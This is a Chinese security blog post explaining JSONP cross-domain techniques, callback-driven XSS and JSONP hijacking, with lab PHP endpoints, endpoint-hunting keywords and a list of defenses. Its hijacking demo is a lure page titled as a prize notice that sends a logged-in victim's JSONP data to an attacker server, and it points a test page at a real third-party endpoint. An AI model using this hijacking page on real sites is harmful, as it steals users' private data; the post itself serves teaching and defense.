初识Jsonp跨域劫持漏洞

本文仅作学习记录,如有侵权,请联系删除!

0x01 前言:


我最开始接触安全的时候,有阅读过跟跨域漏洞相关的技术文章,奈何自己才疏学浅,没能看明白文章的内容。碰巧最近在了解蜜罐的相关知识,这才想捡起自己曾经难乎为继的漏洞。

0x02 Jsonp:


JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。使用JSONP技术可以让网页从别的域名或网站获取数据,即跨域读取数据。

基础认识:

JSONP(JSON with Padding)即填充式的JSON,通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。它是基于JSON 格式的为解决跨域请求资源而产生的解决方案,基本原理是利用HTML里script元素标签,远程调用JSON文件来实现数据传递。

基本语法:

callback({"name":"test", "msg":"success"})

这里举一个例子帮助理解:假设a.com下存在data.json文件:

{"username": "book4yi","password": "secret"}

而下面的html文件用于发起Ajax请求获取data.json的内容并记录日志:

<script src='./jquery.js'></script>
<script >
 $.ajax({
 url: 'http://a.com/data.json',
 type:"get",     
 dataType: "json",
 success: function (data) {
  console.log(data);}
 })
</script>

但是如果该HTML文件放置在b.com下即与data.json文件不同域,访问该HTML文件时浏览器会报错,这是因为Ajax不能发起跨域请求。

为了使网页能够获取到其他网页(不同源)的数据,就搞了几种跨域的方法,其中包括了JSONP

原理:

利用script标签的src属性能够发起跨域请求

将该HTML文件改为:

<body>
 <script src='./jquery.js'></script>
 <script>
 var s = document.createElement('script');
 s.src = 'http://a.com/data.json';
 document.body.appendChild(s);
 </script>
</body>

此时再访问就发现可以跨域发起请求了,但是会看到浏览器报错,这时因为data.json中的内容并不符合JavaScript代码规范。

我们需要重新定义data.json文件让其符合JSONP规范:

callback({"username": "book4yi","password": "secret"})

然后在HTML文件中添加callback函数的定义即可:

<body>
 <script src='./jquery.js'></script>
 <script type="text/javascript">
 function callback(json) {
  console.log(json);
 }
 var s = document.createElement('script');
 s.src = 'http://a.com/data.json';
 document.body.appendChild(s);
 </script>
</body>

此时,基本的JSONP功能就实现了,我们Web站点的HTML文件能够正常地跨域获取目标外域JSON数据了。

0x03 Jsonp跨域漏洞:


JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。

callback自定义导致的XSS:

在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。

这时如果未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。

默认情况下未设置Content-Type且未对callback参数进行过滤的场景,响应报文在未设置Content-Type情况下其值为text/html:

之前挖某买SRC遇到过几个都是这种情况,后面实在绕不过Waf就让它变成任意url跳转漏洞

JSONP劫持:

利用原理:

JSONP数据其实就是往JS函数中传参进行调用,这就导致了攻击者在恶意页面编写恶意的JS函数,通过JSONP的调用来执行该恶意JS函数、将敏感JSONP数据发往攻击者服务器中。

模拟一个登录站点,登录后可与JSONP端点交互获取用户信息。

1、main.php,放置于目标站点,用于用户登录以及与JSONP端点交互获取用户信息::

<?php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
    $_SESSION['name'] = $name;
}
if (isset($_GET['logout'])) {
    if ($_GET['logout'] === '1') {
        unset($_SESSION['name']);
    }
}
//echo '<a href="http://victim.com/info.php?callback=jsonp">用户信息</a><br>';
//echo '<a href="http://victim.com/main.php?logout=1">退出登录</a><br data-tomark-pass>';
echo '<a href="http://192.168.107.170/info.php?callback=jsonp">用户信息</a><br>';
echo '<a href="http://192.168.107.170/main.php?logout=1">退出登录</a><br data-tomark-pass>';
if(!$_SESSION['name']){
    echo '<html>
    <head>
        <title>登录</title>
        <meta charset="utf-8">
    </head>
    <body>
        <form action="main.php" method="get">
            用户名:<input type="text" name="name">
            密码:<input type="password" name="pwd">
            <input type="submit" name="submit" value="login">
        </form>
    </body>
    </html>';
}else{
    echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>";
}
?>

2、info.php,放置于目标站点中,JSONP端点,用于提供指定用户的信息,这里设置了Content-Type为application/json,防御了JSONP XSS漏洞:

<?php
header('Content-type: application/json');
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if($_SESSION['name'] === 'admin'){
        echo $callback."({'id':1,'name':'book4yi_admin'})";
} elseif($_SESSION['name'] === 'guest') {
        echo $callback."({'id':2,'name':'book4yi_guest'})";
} else {
        echo $callback."获取个人信息失败";
}
?>

3、jsonp_hijacking.html,放置在攻击者服务器中,用于诱使受害者访问,以窃取目标站点JSONP端点的敏感信息并发往攻击者服务器中:

<html>
<head>
    <title>恭喜你中奖啦!</title>
    <meta charset="utf-8">
</head>
<script type="text/javascript" src="./jquery.js"></script>
<script>
    function jsonp_hack(v){
        alert("JSONP hijacking");
        var h = '';
        for(var key in v){
            var a = '';
            a = key + ' : ' + v[key] + ' ,';
            h += a;
        }
        alert(h);
        $.get('http://192.168.107.129:8000/?value='+h);
    }
</script>
<script src="http://192.168.107.170/info.php?callback=jsonp_hack"></script>
<body>
    <h1>Welcome</h1>
</body>
</html>

补充:客户端可以使用原生js或者jQuery实现JSONP跨域资源请求
jQuery:可用$.getJSON,$.ajax,$.get,举例$.ajax方式

<body>
<div id="here"></div>
<script>
    $.ajax({  
        type: "get",  //jsonp默认为get请求,即使写post也会转换成get方式  
        async: false, // jsonp默认为false,即使写true也会转换成false  
        url: "http://www.php.com:8088/jsonp.php",  // 服务端地址  
        // data: {"code" : "CA1405"},  // 入参  
        dataType: "jsonp", // jsonp调用固定写法  
        jsonp: "callback", // 传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)。即:?callback=xxx中的callback部分  
        // jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据。即:?callback=xxx中的xxx部分  
        success: function(data){ // 调用成功之后的方法  
            var html = '<ul>';
            html += '<li>' + 'username: ' + data.username + '</li>';
            html += '<li>' + 'password: ' + data.password + '</li>';
            html += '</ul>';
            document.getElementById('here').innerHTML = html; 
        },  
        error: function(){  // 调用失败之后的方法  
            alert('error');  
        }  
    });  
</script>
</body>

4、受害者登录以后,攻击者向用户发送恶意链接诱使用户点击访问,当用户被诱导访问该恶意链接之后,恶意页面就会窃取JSONP端点数据并通过XHR的方式发往攻击者的服务器:

JSONP劫持利用过程:

0x04 漏洞挖掘:


常见关键字:

callback
jsoncallback
jsonpcallback
jsoncall
jsonpcall
cb
jsonp
jsoncb
jsonpcb
jQuery

捕获所有的以GET方式请求的http数据包:

  • 遍历参数是否存在上述关键字
  • 根据前端代码判断,如:dataType: "jsonp"
  • 对响应类型为json格式的,添加请求参数如callback=8888
  • 对响应类型为非json格式的,通过jsonp既有特征进行判断

工具推荐:https://github.com/p1g3/JSONP-Hunter

刚好看到github上有个burp插件,简单看了下源码,大致实现原理:

1、若存在参数,对参数进行遍历,构造正则:param_value + '({.*?})' 与响应体进行匹配
2、添加关键字参数:callback=jsonp1&cb=jsonp2&jsonp=jsonp3……

确实是否是真的JSONP方法,我们将目标URL填入下面的script标签的src中,将callback参数值改为我们自己定义的JS函数callback即可:

<html>
<head>
<title>JSONP Hijacking</title>
<meta charset="utf-8">
</head>
<body>
<script type="text/javascript" src="./jquery.js"></script>
<script type="text/javascript">
    function callback(v){
        console.log(v);
    }
    var s = document.createElement('script');
    s.src = 'http://sapi.beibei.com/resource/utm_source.html?callback=callback';
    document.body.appendChild(s);
</script>
</body>
</html>

修改之后访问该HTML文件,若在浏览器的控制台看到输出了JSONP数据内容,则确定是真的JSONP端点

Jsonp可利用的点:

  1. Referer过滤不严谨(比如仅验证是否存在xxx.com)
  2. 空Referer(在通过跨协议调用JS时,发送的http请求里的Referer为空,比如https跳转到http);
  3. CSRF调用json文件方式不安全,token可重复利用;
  4. JSON输出的Content-Type及编码不符合标准(gb2312可能存在宽字节注入);
  5. 未严格过滤callback函数名及JSON里数据的输出;
  6. 未严格限制JSONP输出callback函数名的长度。

0x05 防御手段:


  1. 使用CORS替换JSONP实现跨域功能;
  2. 应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等
  3. 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 )
  4. 严格过滤 callback 函数名及JSON里数据的输出;
  5. 严格限制对JSONP输出callback函数名的长度(如防御Flash输出的方法);

0x06 参考如下:


JSONP跨域漏洞总结
Jsonp漏洞简析及自动化漏洞挖掘脚本编写

©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,110评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,443评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,474评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,881评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,902评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,698评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,418评论 3 419
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,332评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,796评论 1 316
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,968评论 3 337
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,110评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,792评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,455评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,003评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,130评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,348评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,047评论 2 355

推荐阅读更多精彩内容